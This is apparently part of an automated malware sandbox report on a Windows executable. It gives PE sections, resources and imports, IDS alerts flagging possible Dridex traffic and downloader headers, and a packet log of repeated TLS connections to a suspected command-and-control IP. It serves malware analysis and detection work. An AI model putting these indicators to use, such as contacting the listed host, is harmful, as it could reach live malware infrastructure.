                                                                                        .tls0xe0000x80x0d41d8cd98f00b204e9800998ecf8427eFalse0empty0.0IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                                                                        .rdata0xf0000x180x2009ba824905bf9c7922b6fc87a38b74366False0.052734375data0.2044881574398449IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_SHARED, IMAGE_SCN_MEM_READ
                                                                                        .reloc0x100000x8c40x0d41d8cd98f00b204e9800998ecf8427eFalse0empty0.0IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_SHARED, IMAGE_SCN_MEM_READ
                                                                                        .rsrc0x110000x2c000x2c006df0d951d9e28d23abf7435384a11996False0.32652698863636365data4.498036429589446IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_SHARED, IMAGE_SCN_MEM_READ
                                                                                        NameRVASizeTypeLanguageCountryZLIB Complexity
                                                                                        RT_ICON0x113540x128Device independent bitmap graphic, 16 x 32 x 4, image size 192DutchNetherlands0.5675675675675675
                                                                                        RT_ICON0x1147c0x568Device independent bitmap graphic, 16 x 32 x 8, image size 320DutchNetherlands0.4486994219653179
                                                                                        RT_ICON0x119e40x2e8Device independent bitmap graphic, 32 x 64 x 4, image size 640DutchNetherlands0.4637096774193548
                                                                                        RT_ICON0x11ccc0x8a8Device independent bitmap graphic, 32 x 64 x 8, image size 1152DutchNetherlands0.3935018050541516
                                                                                        RT_STRING0x125740x2f2data0.35543766578249336
                                                                                        RT_STRING0x128680x30cdata0.3871794871794872
                                                                                        RT_STRING0x12b740x2cedata0.42618384401114207
                                                                                        RT_STRING0x12e440x68data0.75
                                                                                        RT_STRING0x12eac0xb4data0.6277777777777778
                                                                                        RT_STRING0x12f600xaedata0.5344827586206896
                                                                                        RT_RCDATA0x130100x2cdata1.1818181818181819
                                                                                        RT_GROUP_ICON0x1303c0x3edataEnglishUnited States0.8387096774193549
                                                                                        RT_VERSION0x1307c0x4f4dataEnglishUnited States0.26735015772870663
                                                                                        RT_MANIFEST0x135700x5a4XML 1.0 document, ASCII text, with CRLF line terminatorsEnglishUnited States0.42590027700831024
                                                                                        DLLImport
                                                                                        kernel32.dllDeleteCriticalSection, LeaveCriticalSection, EnterCriticalSection, InitializeCriticalSection, VirtualFree, VirtualAlloc, LocalFree, LocalAlloc, WideCharToMultiByte, TlsSetValue, TlsGetValue, MultiByteToWideChar, GetModuleHandleA, GetLastError, GetCommandLineA, WriteFile, SetFilePointer, SetEndOfFile, RtlUnwind, ReadFile, RaiseException, GetStdHandle, GetFileSize, GetSystemTime, GetFileType, ExitProcess, CreateFileA, CloseHandle
                                                                                        user32.dllMessageBoxA
                                                                                        oleaut32.dllVariantChangeTypeEx, VariantCopyInd, VariantClear, SysStringLen, SysAllocStringLen
                                                                                        advapi32.dllRegQueryValueExA, RegOpenKeyExA, RegCloseKey, OpenProcessToken, LookupPrivilegeValueA
                                                                                        kernel32.dllWriteFile, VirtualQuery, VirtualProtect, VirtualFree, VirtualAlloc, Sleep, SizeofResource, SetLastError, SetFilePointer, SetErrorMode, SetEndOfFile, RemoveDirectoryA, ReadFile, LockResource, LoadResource, LoadLibraryA, IsDBCSLeadByte, GetWindowsDirectoryA, GetVersionExA, GetUserDefaultLangID, GetSystemInfo, GetSystemDefaultLCID, GetProcAddress, GetModuleHandleA, GetModuleFileNameA, GetLocaleInfoA, GetLastError, GetFullPathNameA, GetFileSize, GetFileAttributesA, GetExitCodeProcess, GetEnvironmentVariableA, GetCurrentProcess, GetCommandLineA, GetACP, InterlockedExchange, FormatMessageA, FindResourceA, DeleteFileA, CreateProcessA, CreateFileA, CreateDirectoryA, CloseHandle
                                                                                        user32.dllTranslateMessage, SetWindowLongA, PeekMessageA, MsgWaitForMultipleObjects, MessageBoxA, LoadStringA, ExitWindowsEx, DispatchMessageA, DestroyWindow, CreateWindowExA, CallWindowProcA, CharPrevA
                                                                                        comctl32.dllInitCommonControls
                                                                                        advapi32.dllAdjustTokenPrivileges
                                                                                        Language of compilation systemCountry where language is spokenMap
                                                                                        DutchNetherlands
                                                                                        EnglishUnited States
                                                                                        TimestampSIDSignatureSeveritySource IPSource PortDest IPDest PortProtocol
                                                                                        2024-12-18T14:00:54.817063+01002028765ET JA3 Hash - [Abuse.ch] Possible Dridex3192.168.2.549802188.119.66.185443TCP
                                                                                        2024-12-18T14:00:55.657606+01002803274ETPRO MALWARE Common Downloader Header Pattern UH2192.168.2.549802188.119.66.185443TCP
                                                                                        2024-12-18T14:00:57.276470+01002028765ET JA3 Hash - [Abuse.ch] Possible Dridex3192.168.2.549809188.119.66.185443TCP
                                                                                        2024-12-18T14:00:58.029700+01002803274ETPRO MALWARE Common Downloader Header Pattern UH2192.168.2.549809188.119.66.185443TCP
                                                                                        2024-12-18T14:00:59.657406+01002028765ET JA3 Hash - [Abuse.ch] Possible Dridex3192.168.2.549815188.119.66.185443TCP
                                                                                        2024-12-18T14:01:00.378330+01002803274ETPRO MALWARE Common Downloader Header Pattern UH2192.168.2.549815188.119.66.185443TCP
                                                                                        2024-12-18T14:01:02.324365+01002028765ET JA3 Hash - [Abuse.ch] Possible Dridex3192.168.2.549821188.119.66.185443TCP
                                                                                        2024-12-18T14:01:03.011252+01002803274ETPRO MALWARE Common Downloader Header Pattern UH2192.168.2.549821188.119.66.185443TCP
                                                                                        2024-12-18T14:01:04.667599+01002028765ET JA3 Hash - [Abuse.ch] Possible Dridex3192.168.2.549831188.119.66.185443TCP
                                                                                        2024-12-18T14:01:05.346121+01002803274ETPRO MALWARE Common Downloader Header Pattern UH2192.168.2.549831188.119.66.185443TCP
                                                                                        2024-12-18T14:01:07.099158+01002028765ET JA3 Hash - [Abuse.ch] Possible Dridex3192.168.2.549837188.119.66.185443TCP
                                                                                        2024-12-18T14:01:07.972072+01002803274ETPRO MALWARE Common Downloader Header Pattern UH2192.168.2.549837188.119.66.185443TCP
                                                                                        2024-12-18T14:01:09.833090+01002028765ET JA3 Hash - [Abuse.ch] Possible Dridex3192.168.2.549843188.119.66.185443TCP
                                                                                        2024-12-18T14:01:10.755217+01002803274ETPRO MALWARE Common Downloader Header Pattern UH2192.168.2.549843188.119.66.185443TCP
                                                                                        2024-12-18T14:01:12.632644+01002028765ET JA3 Hash - [Abuse.ch] Possible Dridex3192.168.2.549849188.119.66.185443TCP
                                                                                        2024-12-18T14:01:13.554558+01002803274ETPRO MALWARE Common Downloader Header Pattern UH2192.168.2.549849188.119.66.185443TCP
                                                                                        2024-12-18T14:01:15.479897+01002028765ET JA3 Hash - [Abuse.ch] Possible Dridex3192.168.2.549855188.119.66.185443TCP
                                                                                        2024-12-18T14:01:16.402128+01002803274ETPRO MALWARE Common Downloader Header Pattern UH2192.168.2.549855188.119.66.185443TCP
                                                                                        2024-12-18T14:01:18.349608+01002028765ET JA3 Hash - [Abuse.ch] Possible Dridex3192.168.2.549865188.119.66.185443TCP
                                                                                        2024-12-18T14:01:19.456442+01002803274ETPRO MALWARE Common Downloader Header Pattern UH2192.168.2.549865188.119.66.185443TCP
                                                                                        2024-12-18T14:01:21.497435+01002028765ET JA3 Hash - [Abuse.ch] Possible Dridex3192.168.2.549872188.119.66.185443TCP
                                                                                        2024-12-18T14:01:22.660539+01002803274ETPRO MALWARE Common Downloader Header Pattern UH2192.168.2.549872188.119.66.185443TCP
                                                                                        2024-12-18T14:01:24.227981+01002028765ET JA3 Hash - [Abuse.ch] Possible Dridex3192.168.2.549878188.119.66.185443TCP
                                                                                        2024-12-18T14:01:24.910281+01002803274ETPRO MALWARE Common Downloader Header Pattern UH2192.168.2.549878188.119.66.185443TCP
                                                                                        2024-12-18T14:01:26.603078+01002028765ET JA3 Hash - [Abuse.ch] Possible Dridex3192.168.2.549884188.119.66.185443TCP
                                                                                        2024-12-18T14:01:27.416657+01002803274ETPRO MALWARE Common Downloader Header Pattern UH2192.168.2.549884188.119.66.185443TCP
                                                                                        2024-12-18T14:01:29.036931+01002028765ET JA3 Hash - [Abuse.ch] Possible Dridex3192.168.2.549892188.119.66.185443TCP
                                                                                        2024-12-18T14:01:29.718976+01002803274ETPRO MALWARE Common Downloader Header Pattern UH2192.168.2.549892188.119.66.185443TCP
                                                                                        2024-12-18T14:01:31.729877+01002028765ET JA3 Hash - [Abuse.ch] Possible Dridex3192.168.2.549897188.119.66.185443TCP
                                                                                        2024-12-18T14:01:32.650334+01002803274ETPRO MALWARE Common Downloader Header Pattern UH2192.168.2.549897188.119.66.185443TCP
                                                                                        2024-12-18T14:01:34.643842+01002028765ET JA3 Hash - [Abuse.ch] Possible Dridex3192.168.2.549904188.119.66.185443TCP
                                                                                        2024-12-18T14:01:35.604861+01002803274ETPRO MALWARE Common Downloader Header Pattern UH2192.168.2.549904188.119.66.185443TCP
                                                                                        2024-12-18T14:01:37.498100+01002028765ET JA3 Hash - [Abuse.ch] Possible Dridex3192.168.2.549910188.119.66.185443TCP
                                                                                        2024-12-18T14:01:38.337017+01002803274ETPRO MALWARE Common Downloader Header Pattern UH2192.168.2.549910188.119.66.185443TCP
                                                                                        2024-12-18T14:01:40.434888+01002028765ET JA3 Hash - [Abuse.ch] Possible Dridex3192.168.2.549920188.119.66.185443TCP
                                                                                        2024-12-18T14:01:41.389506+01002803274ETPRO MALWARE Common Downloader Header Pattern UH2192.168.2.549920188.119.66.185443TCP
                                                                                        2024-12-18T14:01:43.464903+01002028765ET JA3 Hash - [Abuse.ch] Possible Dridex3192.168.2.549927188.119.66.185443TCP
                                                                                        2024-12-18T14:01:44.493667+01002803274ETPRO MALWARE Common Downloader Header Pattern UH2192.168.2.549927188.119.66.185443TCP
                                                                                        2024-12-18T14:01:46.617851+01002028765ET JA3 Hash - [Abuse.ch] Possible Dridex3192.168.2.549933188.119.66.185443TCP
                                                                                        2024-12-18T14:01:47.305270+01002803274ETPRO MALWARE Common Downloader Header Pattern UH2192.168.2.549933188.119.66.185443TCP
                                                                                        2024-12-18T14:01:48.912406+01002028765ET JA3 Hash - [Abuse.ch] Possible Dridex3192.168.2.549941188.119.66.185443TCP
                                                                                        2024-12-18T14:01:49.591987+01002803274ETPRO MALWARE Common Downloader Header Pattern UH2192.168.2.549941188.119.66.185443TCP
                                                                                        2024-12-18T14:01:51.739942+01002028765ET JA3 Hash - [Abuse.ch] Possible Dridex3192.168.2.549947188.119.66.185443TCP
                                                                                        2024-12-18T14:01:52.825033+01002803274ETPRO MALWARE Common Downloader Header Pattern UH2192.168.2.549947188.119.66.185443TCP
                                                                                        2024-12-18T14:01:54.627154+01002028765ET JA3 Hash - [Abuse.ch] Possible Dridex3192.168.2.549956188.119.66.185443TCP
                                                                                        2024-12-18T14:01:55.350092+01002803274ETPRO MALWARE Common Downloader Header Pattern UH2192.168.2.549956188.119.66.185443TCP
                                                                                        2024-12-18T14:01:57.172873+01002028765ET JA3 Hash - [Abuse.ch] Possible Dridex3192.168.2.549962188.119.66.185443TCP
                                                                                        2024-12-18T14:01:58.061912+01002803274ETPRO MALWARE Common Downloader Header Pattern UH2192.168.2.549962188.119.66.185443TCP
                                                                                        2024-12-18T14:02:00.041446+01002028765ET JA3 Hash - [Abuse.ch] Possible Dridex3192.168.2.549969188.119.66.185443TCP
                                                                                        2024-12-18T14:02:01.055466+01002803274ETPRO MALWARE Common Downloader Header Pattern UH2192.168.2.549969188.119.66.185443TCP
                                                                                        2024-12-18T14:02:03.127662+01002028765ET JA3 Hash - [Abuse.ch] Possible Dridex3192.168.2.549978188.119.66.185443TCP
                                                                                        2024-12-18T14:02:04.061267+01002803274ETPRO MALWARE Common Downloader Header Pattern UH2192.168.2.549978188.119.66.185443TCP
                                                                                        2024-12-18T14:02:05.662659+01002028765ET JA3 Hash - [Abuse.ch] Possible Dridex3192.168.2.549985188.119.66.185443TCP
                                                                                        TimestampSource PortDest PortSource IPDest IP
                                                                                        Dec 18, 2024 14:00:53.178714037 CET49802443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:00:53.178762913 CET44349802188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:00:53.178848028 CET49802443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:00:53.205631018 CET49802443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:00:53.205650091 CET44349802188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:00:54.816993952 CET44349802188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:00:54.817063093 CET49802443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:00:54.976948023 CET49802443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:00:54.976983070 CET44349802188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:00:54.977475882 CET44349802188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:00:54.977565050 CET49802443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:00:54.986185074 CET49802443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:00:55.027335882 CET44349802188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:00:55.657699108 CET44349802188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:00:55.657836914 CET49802443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:00:55.657867908 CET44349802188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:00:55.657888889 CET44349802188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:00:55.657921076 CET49802443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:00:55.657949924 CET49802443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:00:55.671462059 CET49802443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:00:55.671499968 CET44349802188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:00:55.793750048 CET49809443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:00:55.793813944 CET44349809188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:00:55.793880939 CET49809443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:00:55.794501066 CET49809443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:00:55.794527054 CET44349809188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:00:57.276359081 CET44349809188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:00:57.276469946 CET49809443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:00:57.331907034 CET49809443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:00:57.331929922 CET44349809188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:00:57.332107067 CET49809443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:00:57.332117081 CET44349809188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:00:58.029709101 CET44349809188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:00:58.029779911 CET49809443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:00:58.029800892 CET44349809188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:00:58.029813051 CET44349809188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:00:58.029841900 CET49809443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:00:58.029865026 CET49809443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:00:58.030364037 CET49809443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:00:58.030383110 CET44349809188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:00:58.151465893 CET49815443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:00:58.151505947 CET44349815188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:00:58.151580095 CET49815443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:00:58.152127981 CET49815443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:00:58.152139902 CET44349815188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:00:59.657291889 CET44349815188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:00:59.657406092 CET49815443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:00:59.657890081 CET49815443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:00:59.657898903 CET44349815188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:00:59.658066988 CET49815443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:00:59.658071995 CET44349815188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:00.378402948 CET44349815188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:00.378492117 CET44349815188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:00.378545046 CET49815443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:00.378573895 CET49815443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:00.378895998 CET49815443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:00.378916025 CET44349815188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:00.494290113 CET49821443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:00.494340897 CET44349821188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:00.494468927 CET49821443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:00.494791985 CET49821443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:00.494805098 CET44349821188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:02.324254036 CET44349821188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:02.324364901 CET49821443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:02.347812891 CET49821443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:02.347831011 CET44349821188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:02.348009109 CET49821443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:02.348015070 CET44349821188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:03.011271000 CET44349821188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:03.011331081 CET49821443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:03.011354923 CET44349821188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:03.011368036 CET44349821188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:03.011414051 CET49821443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:03.011529922 CET49821443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:03.011544943 CET44349821188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:03.119779110 CET49831443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:03.119823933 CET44349831188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:03.119891882 CET49831443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:03.120245934 CET49831443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:03.120259047 CET44349831188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:04.667531967 CET44349831188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:04.667598963 CET49831443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:04.668018103 CET49831443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:04.668028116 CET44349831188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:04.668185949 CET49831443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:04.668190956 CET44349831188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:05.346193075 CET44349831188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:05.346276999 CET44349831188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:05.346326113 CET49831443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:05.346350908 CET49831443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:05.346635103 CET49831443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:05.346653938 CET44349831188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:05.471394062 CET49837443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:05.471420050 CET44349837188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:05.471496105 CET49837443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:05.471743107 CET49837443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:05.471752882 CET44349837188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:07.098274946 CET44349837188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:07.099158049 CET49837443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:07.099709034 CET49837443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:07.099730968 CET44349837188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:07.099891901 CET49837443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:07.099905968 CET44349837188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:07.972095013 CET44349837188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:07.972163916 CET44349837188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:07.972214937 CET49837443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:07.972248077 CET49837443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:07.972388029 CET49837443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:07.972404957 CET44349837188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:08.088229895 CET49843443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:08.088280916 CET44349843188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:08.088360071 CET49843443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:08.088685036 CET49843443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:08.088705063 CET44349843188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:09.832904100 CET44349843188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:09.833090067 CET49843443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:09.833597898 CET49843443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:09.833604097 CET44349843188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:09.833858967 CET49843443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:09.833863020 CET44349843188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:10.755228996 CET44349843188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:10.755306959 CET44349843188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:10.755469084 CET49843443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:10.755469084 CET49843443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:10.755546093 CET49843443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:10.755568981 CET44349843188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:10.869468927 CET49849443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:10.869514942 CET44349849188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:10.869611025 CET49849443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:10.869854927 CET49849443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:10.869872093 CET44349849188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:12.632577896 CET44349849188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:12.632643938 CET49849443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:12.635265112 CET49849443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:12.635272026 CET44349849188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:12.635806084 CET49849443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:12.635812044 CET44349849188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:13.554569960 CET44349849188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:13.554636002 CET44349849188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:13.554738998 CET49849443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:13.554759979 CET49849443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:13.555018902 CET49849443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:13.555052042 CET44349849188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:13.666260958 CET49855443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:13.666306019 CET44349855188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:13.666765928 CET49855443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:13.666975021 CET49855443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:13.666992903 CET44349855188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:15.479846954 CET44349855188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:15.479897022 CET49855443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:15.494057894 CET49855443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:15.494081020 CET44349855188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:15.497469902 CET49855443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:15.497477055 CET44349855188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:16.402141094 CET44349855188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:16.402216911 CET44349855188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:16.402299881 CET49855443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:16.402481079 CET49855443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:16.402498007 CET44349855188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:16.510065079 CET49865443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:16.510118961 CET44349865188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:16.510241985 CET49865443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:16.510622025 CET49865443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:16.510637045 CET44349865188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:18.349479914 CET44349865188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:18.349607944 CET49865443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:18.376967907 CET49865443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:18.376986027 CET44349865188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:18.381442070 CET49865443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:18.381449938 CET44349865188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:19.456469059 CET44349865188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:19.456546068 CET44349865188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:19.456690073 CET49865443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:19.456690073 CET49865443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:19.457053900 CET49865443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:19.457072973 CET44349865188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:19.572544098 CET49872443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:19.572596073 CET44349872188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:19.572683096 CET49872443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:19.572999001 CET49872443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:19.573013067 CET44349872188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:21.497366905 CET44349872188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:21.497435093 CET49872443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:21.497812986 CET49872443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:21.497822046 CET44349872188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:21.497975111 CET49872443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:21.497978926 CET44349872188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:22.660557985 CET44349872188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:22.660633087 CET44349872188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:22.660706997 CET49872443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:22.660892963 CET49872443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:22.660909891 CET44349872188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:22.775779009 CET49878443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:22.775820971 CET44349878188.119.66.185192.168.2.5
                                                                                        Dec 18, 2024 14:01:22.775938034 CET49878443192.168.2.5188.119.66.185
                                                                                        Dec 18, 2024 14:01:22.776185036 CET49878443192.168.2.5188.119.66.185
